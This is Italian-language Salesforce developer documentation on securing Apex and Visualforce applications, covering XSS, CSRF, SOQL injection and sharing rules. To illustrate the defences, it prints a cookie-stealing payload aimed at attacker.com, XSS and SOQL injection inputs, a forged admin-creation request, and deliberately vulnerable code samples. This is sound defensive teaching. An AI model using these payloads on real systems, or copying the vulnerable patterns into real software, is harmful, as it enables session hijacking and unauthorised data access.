Indicazioni per la protezione per lo sviluppo di Apex e Visualforce
Quando si sviluppano applicazioni personalizzate, è bene essere consapevoli delle vulnerabilità presenti nel codice e proteggersi adeguatamente.
Versioni (Edition) richieste
| Disponibile nelle versioni: Salesforce Classic |
Disponibile nelle versioni: Group Edition, Professional Edition, Enterprise Edition, Performance Edition, Unlimited Edition, Developer Edition e Database.com Edition Visualforce non è disponibile nella versione Database.com Edition. |
Descrizione della protezione
La potente combinazione di pagine Apex e Visualforce consente agli sviluppatori Lightning Platform di fornire funzionalità personalizzate e logica aziendale a Salesforce o di creare un prodotto nuovo autonomo eseguito all'interno di Lightning Platform. Tuttavia, come per qualsiasi linguaggio di programmazione, gli sviluppatori devono essere a conoscenza di eventuali vulnerabilità legate alla sicurezza.
Salesforce ha incorporato varie difese protettive in Lightning Platform. Tuttavia, gli sviluppatori poco attenti potrebbero in alcuni casi ignorare le difese incorporate ed esporre le loro applicazioni e i loro clienti a rischi inerenti la sicurezza. Molti degli errori di codice che gli sviluppatori potrebbero commettere in Lightning Platform sono simili alle vulnerabilità di sicurezza generali di qualsiasi applicazione Web, mentre altri sono specifici di Apex.
Per certificare un'applicazione per AppExchange, è importante che gli sviluppatori imparino a conoscere le vulnerabilità della sicurezza descritte di seguito. Per ulteriori informazioni, vedere la pagina Lightning Platform Security Resources in Salesforce Developers all'indirizzo https://developer.salesforce.com/page/Security.
Cross-Site Scripting (XSS)
Gli attacchi di cross-site scripting (XSS) si verificano quando uno script HTML o lato client dannoso viene iniettato in un'applicazione Web.
L'applicazione Web include script dannosi in una risposta a un utente che diventa inconsapevolmente la vittima dell'attacco. L'autore dell'attacco utilizza l'applicazione Web come intermediario dell'attacco, approfittando della fiducia della vittima nell'applicazione Web. La maggior parte delle applicazioni che visualizzano pagine Web dinamiche senza convalidare opportunamente i dati sono potenzialmente vulnerabili. Gli attacchi contro il sito Web sono particolarmente facili se l'input di un utente viene visualizzato da un altro utente. Alcune possibilità evidenti includono i siti Web con bacheche o commenti degli utenti, notizie o archivi di email.
Si supponga ad esempio che questo script sia incluso in una pagina Lightning Platform utilizzando un componente script, un evento on* o una pagina Visualforce.
<script>var foo = '{!$CurrentPage.parameters.userparam}';</script>Questo blocco di script inserisce il valore del userparam fornito dall'utente nella pagina. L'autore dell'attacco può quindi immettere questo valore per userparam.
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2In questo caso, tutti i cookie della pagina corrente vengono inviati a www.attacker.com come stringa di query nella richiesta allo script di cookie.cgi. A questo punto, l'autore dell'attacco ha il cookie della sessione della vittima e può collegarsi all'applicazione Web come se fosse la vittima.
L'autore dell'attacco può inviare uno script dannoso mediante un sito Web o un messaggio email. Gli utenti delle applicazioni Web vedono l'input dell'autore dell'attacco e il loro browser può eseguire lo script dannoso in un contesto fidato. Forte di questa capacità, l'autore dell'attacco può eseguire una vasta gamma di attacchi ai danni della vittima, Questi attacchi possono essere azioni semplici come l'apertura e la chiusura di finestre, ma anche più gravi come il furto di dati o dei cookie delle sessioni, con il conseguente accesso completo da parte dell'autore dell'attacco alla sessione della vittima.
Per ulteriori informazioni su questo tipo di attacco:
- http://www.owasp.org/index.php/Cross_Site_Scripting
- http://www.cgisecurity.com/xss-faq.html
- http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
- http://www.google.com/search?q=cross-site+scripting
All'interno di Lightning Platform sono state implementate varie difese anti-XSS. Ad esempio, Salesforce dispone di filtri che escludono i caratteri dannosi nella maggior parte dei metodi di output. Per gli sviluppatori che utilizzano classi e metodi di output standard, le minacce rappresentate dalle vulnerabilità XSS vengono ampiamente limitate. Tuttavia, gli sviluppatori creativi possono comunque trovare i modi per escludere in modo intenzionale o accidentale i controlli predefiniti.
Protezione esistente
Tutti i componenti Visualforce standard, che iniziano con <apex>, hanno filtri anti-XSS per escludere i caratteri dannosi. Ad esempio, questo codice è normalmente vulnerabile a un attacco XSS perché riceve l'input fornito dall'utente e lo restituisce direttamente all'utente, ma il tag <apex:outputText> è sicuro per XSS. Tutti i caratteri che hanno l'aspetto di tag HTML vengono convertiti al formato letterale. Ad esempio, il carattere < viene convertito in < in modo che sullo schermo dell'utente compaia un valore letterale <.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>Disabilitazione delle sequenze escape nei tag Visualforce
Per impostazione predefinita, quasi tutti i tag Visualforce utilizzano la sequenza escape per i caratteri vulnerabili a XSS. È possibile disabilitare questo comportamento impostando l'attributo facoltativo escape="false". Ad esempio, il seguente output è vulnerabile agli attacchi XSS.
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />Voci di programmazione non protette da XSS
Il codice Javascript personalizzato e il codice all'interno dei componenti <apex:includeScript> non dispongono di protezioni XSS incorporate. Questi elementi consentono allo sviluppatore di personalizzare la pagina con comandi di script. Non avrebbe senso includere dei filtri anti-XSS in comandi aggiunti intenzionalmente a una pagina.
JavaScript personalizzato
Se si scrive un JavaScript personalizzato, Lightning Platform non fornisce alcuna protezione. Ad esempio, il seguente codice è vulnerabile agli attacchi XSS se utilizzato in JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script><apex:includeScript>
Con il componente <apex:includeScript> Visualforce è possibile includere uno script personalizzato in una pagina. Verificare che il contenuto sia sicuro e non contenga dati forniti dagli utenti. Ad esempio, lo snippet seguente è vulnerabile in quanto include un input fornito dall'utente come valore del testo dello script. Il valore fornito dal tag è un URL allo JavaScript da includere. Se l'autore di un attacco può assegnare dati arbitrari a questo parametro come nell'esempio sottostante, può indirizzare la vittima a includere qualsiasi file JavaScript di qualsiasi altro sito Web.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />Tag delle formule
La sintassi generale di questi tag è: {!FUNCTION()} o {!$OBJECT.ATTRIBUTE}. Ad esempio, se uno sviluppatore volesse includere l'ID della sessione di un utente in un link, potrebbe creare il link utilizzando la sintassi seguente.
<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>E l'output sarebbe il seguente.
<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>Le espressioni delle formule possono essere chiamate di funzioni o includere informazioni su oggetti della piattaforma, ambiente di un utente, ambiente di sistema e ambiente della richiesta. Una caratteristica importante di queste espressioni è che non viene utilizzata la sequenza di escape durante la visualizzazione dei dati. Poiché le espressioni vengono visualizzate sul server, non è possibile utilizzare la sequenza di escape per i dati visualizzati sul client utilizzando JavaScript o un'altra tecnologia lato client. Ciò può generare situazioni pericolose se l'espressione della formula fa riferimento a dati non generati dal sistema dannosi o modificabili e se l'espressione non è racchiusa in una funzione per l'utilizzo della sequenza di escape durante la visualizzazione. Viene creata una vulnerabilità comune utilizzando l'espressione {!$Request.*} per accedere ai parametri della richiesta.
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>Sfortunatamente, il tag {!$Request.title} senza escape causa anche una vulnerabilità di cross-site scripting. Ad esempio, la seguente richiesta:
https://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3Erisulta nel seguente output:
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>Il meccanismo standard per eseguire l'escape lato server è l'uso del tag formula SUBSTITUTE(). Data la posizione dell'espressione {!$Request.*} nell'esempio, l'attacco descritto può essere evitato utilizzando queste chiamate SUBSTITUTE() nidificate.
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>A seconda della posizione del tag e dall'utilizzo dei dati, sia i caratteri che richiedono la sequenza di escape che le loro controparti con caratteri di escape potrebbero variare. Ad esempio, la seguente istruzione:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>richiede l'utilizzo della sequenza di escape per il carattere virgolette doppie con questo URL codificato equivalente a %22 anziché l'HTML con carattere escape ", poiché probabilmente verrà utilizzato in un link. In caso contrario, la richiesta:
https://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2Frisulta in:
<script>var ret = "foo";alert('xss');//";</script>La variabile ret a volte necessita di escape aggiuntivi lato client più avanti nella pagina se utilizzata in modo da poter interpretare i caratteri di controllo HTML inclusi.
I tag delle formule possono essere utilizzati anche per includere dati degli oggetti della piattaforma. Sebbene i dati vengano presi direttamente dall'organizzazione dell'utente, è necessario utilizzare la sequenza di escape prima di usarli, per impedire agli utenti di eseguire del codice nel contesto di altri utenti, ad esempio quelli con privilegi di livello superiore. Solo gli utenti della stessa organizzazione possono eseguire questi tipi di attacchi. Questi attacchi compromettono i ruoli utente e riducono l'integrità dei record di controllo. I dati possono essere importati da fonti esterne e non sottoposti a ricerca di contenuti dannosi.
Cross-Site Request Forgery (CSRF)
Le vulnerabilità di Cross-Site Request Forgery (CSRF) non sono tanto errori di programmazione quanto carenze di protezione.
Ad esempio, un hacker ha una pagina Web all'indirizzo www.attacker.com. Può essere una qualsiasi pagina Web, anche quelle che forniscono servizi importanti o informazioni che dirigono il traffico verso quel sito. In qualche punto della pagina dell'autore dell'attacco è presente un tag HTML del tipo:
<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />In altre parole, la pagina dell'autore dell'attacco contiene un URL che esegue un'azione sul sito Web dell'utente. Se l'utente è ancora connesso alla pagina Web quando visita la pagina Web dell'autore dell'attacco, l'URL viene recuperato e le azioni vengono eseguite. Questo attacco riesce perché l'utente è ancora autenticato nella pagina Web. Questo è un esempio semplice e l'autore dell'attacco può essere anche più creativo se si serve degli script per generare la richiesta di richiamata o utilizza gli attacchi CSRF contro i metodi AJAX dell'utente.
Per ulteriori informazioni e per le difese tradizionali:
- http://www.owasp.org/index.php/Cross-Site_Request_Forgery
- http://www.cgisecurity.com/csrf-faq.html
- http://shiflett.org/articles/cross-site-request-forgeries
All'interno di Lightning Platform, Salesforce ha implementato un token anti-CSRF per prevenire questo attacco. Ogni pagina include una stringa casuale di caratteri come campo di un modulo nascosto. Al caricamento della pagina successiva, l'applicazione verifica la validità di questa stringa di caratteri e non esegue il comando se il valore non corrisponde a quello atteso. Questa funzione protegge l'utente quando utilizza tutti i controller e i metodi standard.
Anche in questo caso, lo sviluppatore può aggirare le difese incorporate senza rendersi conto dei rischi. Ad esempio, si immagini di avere un controller personalizzato che prende l'ID dell'oggetto come parametro di input, per poi utilizzare tale parametro di input in una chiamata SOQL.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
Lo sviluppatore ha inconsapevolmente aggirato i controlli anti-CSRF sviluppando un proprio metodo di azione. Il parametro id viene letto e utilizzato nel codice. Il token anti-CSRF non viene mai letto né convalidato. Una pagina Web aggressore può indirizzare l'utente a questa pagina utilizzando un attacco CSRF e fornendo qualsiasi valore per il parametro id.
Non esistono difese incorporate per tali situazioni e gli sviluppatori devono essere cauti nello scrivere pagine che agiscono in base a un parametro fornito dall'utente come la variabile id nell'esempio precedente. Un modo per aggirare l'ostacolo potrebbe essere l'inserimento di una pagina di conferma intermedia in modo da assicurarsi che la pagina venga richiamata dall'utente designato. Altri suggerimenti includono l'accorciamento della durata di inattività della sessione e l'addestramento degli utenti affinché escano dalle sessioni attive e non utilizzino il browser per visitare altri siti dopo che si sono autenticati.
A causa della protezione dal CSRF integrata in Salesforce, quando sono aperte più pagine di accesso di Salesforce potrebbe verificarsi un errore. Se l'utente accede a Salesforce in una scheda e poi tenta di accedere in un'altra, visualizza il seguente errore: La pagina inviata non era valida per la sessione. Per riuscire ad accedere correttamente, gli utenti possono aggiornare la pagina di accesso o tentare nuovamente di accedere.
SOQL Injection
In altri linguaggi di programmazione, la precedente vulnerabilità è nota come SQL injection.
Apex non utilizza SQL, ma il proprio linguaggio per l'interrogazione del database, SOQL. SOQL è più semplice e ha funzionalità più limitate rispetto a SQL. I rischi di SOQL injection sono inferiori ai rischi di SQL injection, ma gli attacchi sono pressoché identici alla SQL injection tradizionale. Con la SQL/SOQL injection vengono presi gli input forniti dall'utente e i relativi valori vengono utilizzati in una query SOQL dinamica. Se l'input non è convalidato, può includere comandi SOQL che modificano effettivamente l'istruzione e ingannano l'applicazione facendole eseguire comandi non desiderati.
Vulnerabilità agli attacchi di SOQL injection in Apex
Di seguito è riportato un semplice esempio di codice Apex e Visualforce vulnerabile alla SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
List<Contact> queryResult = Database.query(qryString);
System.debug('query result is ' + queryResult);
return null;
}
}
È un esempio semplice ma che illustra la logica. Il codice è destinato a ricercare referenti che non sono stati eliminati. L'utente fornisce un valore di input denominato name. Il valore può essere un qualsiasi elemento fornito dall'utente e non viene mai convalidato. La query SOQL viene creata dinamicamente e quindi eseguita con il metodo Database.query. Se l'utente ha fornito un valore autentico, l'istruzione viene eseguita come previsto.
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')Tuttavia, l'utente potrebbe fornire un input inatteso, ad esempio:
// User supplied value for name: test%') OR (Name LIKE 'In tal caso, la stringa di query diventa:
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')Ora i risultati mostrano tutti i referenti, non solo quelli non eliminati. Una vulnerabilità alla SOQL injection può essere utilizzata per modificare la logica prevista di qualsiasi query vulnerabile.
Difese dalla SOQL injection
Per prevenire un attacco di SOQL injection, evitare di utilizzare query SOQL dinamiche. Utilizzare invece query statiche e variabili di collegamento (binding). L'esempio di vulnerabilità descritto sopra può essere riscritto utilizzando l'SOQL statico.
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
List<Contact> queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
System.debug('query result is ' + queryResult);
return null;
}
}Se è necessario utilizzare SOQL dinamico, utilizzare il metodo escapeSingleQuotes per disinfettare l'input fornito dall'utente. Questo metodo aggiunge il carattere di escape (\) a tutte le virgolette singole nelle stringhe passate da un utente. Il metodo assicura che tutte le virgolette singole vengano trattate come stringhe di inclusione e non come comandi di database.
Controllo dell'accesso ai dati
Lightning Platform fa ampio uso delle regole di condivisione dei dati. Ogni oggetto dispone di autorizzazioni e può avere impostazioni di condivisione che gli utenti possono visualizzare, creare, modificare ed eliminare. Queste impostazioni vengono applicate quando si utilizzano tutti i controller standard.
Quando si utilizza una classe Apex, le autorizzazioni utente incorporate e le restrizioni di protezione a livello di campo non vengono rispettate durante l'esecuzione. Il comportamento predefinito prevede che una classe Apex possa leggere e aggiornare tutti i dati. Poiché queste regole non vengono applicate, gli sviluppatori che utilizzano Apex devono evitare di esporre inavvertitamente dati sensibili che solitamente sarebbero nascosti agli utenti tramite autorizzazioni utente, protezione a livello di campo o impostazioni predefinite. Si consideri ad esempio il seguente pseudocodice Apex.
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}
In questo caso, la ricerca viene effettuata in tutti i record referente, anche se l'utente attualmente collegato non avrebbe le autorizzazioni per visualizzare questi record. La soluzione consiste nell'utilizzare la parola chiave qualificante with sharing quando si dichiara la classe:
public with sharing class customController {
. . .
}
La parola chiave with sharing indica alla piattaforma di utilizzare le autorizzazioni di condivisione della sicurezza dell'utente attualmente connesso anziché concedere l'accesso completo a tutti i record.

